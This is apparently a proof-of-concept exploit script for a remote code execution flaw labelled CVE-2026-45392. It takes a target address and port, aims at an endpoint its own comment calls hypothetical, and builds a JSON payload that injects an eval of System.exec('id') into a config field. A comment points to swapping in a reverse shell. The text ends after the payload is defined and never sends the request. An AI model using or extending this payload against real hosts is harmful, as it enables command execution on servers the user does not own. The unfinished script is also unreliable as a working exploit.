# Proof of Concept for CVE-2026-45392
# Description: This script demonstrates the RCE vulnerability by sending a crafted request.
# Usage: python3 poc.py <target_ip> <target_port>

import sys
import requests

# Target configuration
target_ip = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1'
target_port = sys.argv[2] if len(sys.argv) > 2 else '9000'
url = f"http://{target_ip}:{target_port}/api/v1/endpoint" # Hypothetical vulnerable endpoint

# Malicious payload attempting to execute 'id' command (Linux)
# In a real scenario, this could be a reverse shell payload
payload = {
    "config": {
        "eval": "System.exec('id')"
    }
}
